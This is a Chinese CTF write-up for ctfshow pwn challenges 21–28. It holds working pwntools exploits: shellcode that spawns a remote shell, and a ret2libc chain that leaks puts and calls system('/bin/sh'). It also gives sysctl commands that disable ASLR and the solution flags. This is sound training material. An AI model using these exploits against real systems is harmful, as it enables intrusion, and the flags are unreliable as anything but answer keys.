pwn21
先使用checksec查看,Partial RELRO表示.got不可写而.got.plt可写
查看地址
readelf -S pwn
.got的地址为0x600ff0,.got.plt的地址为0x601000
flag:ctfshow{0_1_0x600ff0_0x601000}
pwn22
先使用checksec查看,FullRELRO表示.got不可写.got.plt也不可写
查看地址
readelf -S pwn
.got的地址为0x600fc0
flag:ctfshow{0_0_0x600fc0}
pwn23
ctfshow函数中的strcpy函数存在栈溢出,我们尽可能输入多的字符使其溢出
连接靶机后,在pwnme后加上输入的字符,得到flag
flag:ctfshow{8559f5b9-c712-41f6-a8d7-732088857cb7}
pwn24
题目提示使用pwntools的shellcraft模块来进行攻击,因此直接编写exp
from pwn import *
p = remote("pwn.challenge.ctf.show",28311)
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
拿到shell,得到flag
flag:ctfshow{af31e31c-4458-4d58-a563-b2e8207c7ca9}
pwn25
先使用checksec查看文件信息,32位程序,开启部分RELRO保护和NX保护
使用IDA反编译,看到读入的buf为132个长度,而read()函数限制我们读入的长度为256个长度,所以ctfshow()函数存在栈溢出。
使用cyclic计算栈偏移量,得出栈偏移量为140
使用objdump查看plt表中的函数,我们看到plt表中有puts函数也有write函数,这里我们使用puts函数来输出函数的内存地址。
exp如下:
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote("pwn.challenge.ctf.show",28248)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow_addr = elf.symbols['ctfshow']
payload0 = b'a' * 140 + p32(puts_plt)+p32(ctfshow_addr)+p32(puts_got)
p.sendline(payload0)
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * 140 + p32(system_addr) + b'a'*4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()
getshell,拿到flag
flag:ctfshow{6344406d-3bee-4a94-827e-90f4fb5944e8}
pwn26
根据题目提示,修改ASLR参数值即可得到flag
sysctl -w kernel.randomize_va_space=0
flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}
pwn27
根据题目提示,修改ASLR参数值即可得到flag
sysctl -w kernel.randomize_va_space=0或者
sysctl -w kernel.randomize_va_space=1
flag:ctfshow{0x400687_0x400560_0x603260}
pwn28
修改ASLR参数值为0即可得到正确的flag
sysctl -w kernel.randomize_va_space=0
flag:ctfshow{0x400687_0x400560}